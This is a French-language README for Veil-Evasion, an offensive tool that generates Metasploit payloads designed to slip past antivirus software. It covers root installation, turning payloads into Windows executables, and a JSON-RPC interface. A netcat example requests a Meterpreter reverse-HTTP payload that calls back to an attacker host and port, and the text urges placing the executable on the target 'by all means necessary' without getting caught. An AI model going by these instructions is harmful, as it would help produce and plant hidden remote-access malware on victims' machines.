
Veil Evasion n'est plus pris en charge, utilisez Veil 3.0 !
Veil-Evasion est un outil conçu pour générer des charges utiles metasploit qui contournent les solutions antivirus courantes.
NOTE :
./setup/setup.shdoit être réexécuté à chaque mise à jour de version majeure. Si vous rencontrez des erreurs majeures lors de l'exécution de Veil-Evasion, essayez d'abord de réexécuter ce script pour installer les paquets supplémentaires et mettre à jour le fichier de configuration commun.
Veil-Evasion est actuellement activement maintenu par @ChrisTruncer, @TheMightyShiv, @HarmJ0y.
Remerciements à :
ou
NOTE : L'installation doit être effectuée avec les privilèges superutilisateur. Si vous n'utilisez pas Kali Linux, préfixez chaque commande avec
sudoou passez à l'utilisateur root avant de commencer.
Exécutez setup.sh -c sur Kali x86.
Installez Python 2.7, Py2Exe, PyCrypto et PyWin32 sur un ordinateur Windows (pour Py2Exe).
apt-get -y install git
git clone https://github.com/Veil-Framework/Veil-Evasion.git
cd Veil-Evasion/
cd setup
setup.sh -c
NOTE : Cela doit être fait avec les privilèges superutilisateur. Si vous n'utilisez pas Kali Linux, préfixez chaque commande avec
sudoou passez à l'utilisateur root avant de commencer.
La plupart du temps, le fichier de configuration situé à /etc/veil/settings.py n'aura pas besoin d'être reconstruit, mais dans certains cas, vous pouvez être invité à le faire. Le fichier est généré par config/update.py.
Il est important d'être dans le répertoire config/ avant d'exécuter update.py. Sinon, settings.py sera incorrect et lorsque vous lancerez Veil-Evasion, vous verrez ce qui suit.
Main Menu
0 payloads loaded
Ne paniquez pas. Entrez dans le répertoire config/ et réexécutez update.py.
Veil-Evasion a été conçu pour fonctionner sur Kali Linux, mais devrait fonctionner sur tout système capable d'exécuter des scripts Python. Appelez simplement Veil-Evasion depuis la ligne de commande et suivez le menu pour générer une charge utile. Une fois la charge utile créée, Veil-Evasion vous demandera si vous souhaitez que le fichier de charge utile soit converti en exécutable par Pyinstaller ou Py2Exe.
Si vous utilisez Pyinstaller, Veil-Evasion convertira votre charge utile en un exécutable dans Kali.
Si vous utilisez Py2Exe, Veil-Evasion créera trois fichiers :
Déplacez les trois fichiers sur votre machine Windows avec Python installé. Les trois fichiers doivent être placés à la racine du répertoire où Python a été installé (probablement C:\Python27). Exécutez le script batch pour convertir le script Python en format exécutable.
Placez le fichier exécutable sur votre machine cible par tous les moyens nécessaires et ne vous faites pas prendre !
Côté écouteur, exécutez :
./Veil-Evasion --rpc
Cela démarrera un écouteur sur le port 4242.
Côté client, vous devrez exécuter un programme client. Cela peut être un script personnalisé ou aussi simple que Netcat. Le serveur RPC implémente JSON-RPC. Voici une bonne référence pour interpréter les requêtes et les réponses pour JSON-RPC : http://json-rpc.org/wiki/specification
Le format de la requête RPC est le suivant :
method="version" - return the current Veil-Evasion version number
method="payloads" - return all the currently loaded payloads
method="payload_options"
params="payload_name" - return the options for the specified payload
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - generate the specified payload with the given options and returns the path of the generated executable
Voici un exemple simple d'utilisation de Veil-Evasion avec Netcat :
root@kali:~# nc 127.0.0.1 4242
{"method":"version","params":[],"id":0}
Et la réponse du serveur :
{"id":0,"result":"2.21.4","error":null}
Un exemple de programme client peut être trouvé ici : http://github.com/miligulmohar/python-symmetric-jsonrpc/blob/master/examples/client.py
NOTE : Le port pour Veil-Evasion est 4242. Cela doit être modifié dans client.py pour fonctionner.
Afin de générer une charge utile, TOUS les paramètres doivent être inclus :
Voici une bonne référence pour comprendre si pwnstaller est utilisé ou non : http://www.verisgroup.com/blog/2014/05/07/pwnstaller-and-the-veil-framework/
Un exemple de génération d'une charge utile :
root@kali:~# nc 127.0.0.1 4242
{"method":"generate","params":["payload=c/meterpreter/rev_http","outputbase=payloadName","LHOST=192.168.1.11","LPORT=2121","pwnstaller=False"],"id":1"}
Et la réponse du serveur :
{"id":8,"result":"/usr/share/veil-output/compiled/payloadName.exe","error":null}
NOTE : Si aucun id n'est spécifié dans la requête, Veil-Evasion s'arrêtera. Cela dit, vous pouvez faire autant de requêtes valides que vous le souhaitez jusqu'à ce que Veil-Evasion s'arrête.
Pour arrêter le serveur RPC, exécutez :
./Veil-Evasion --rpcshutdown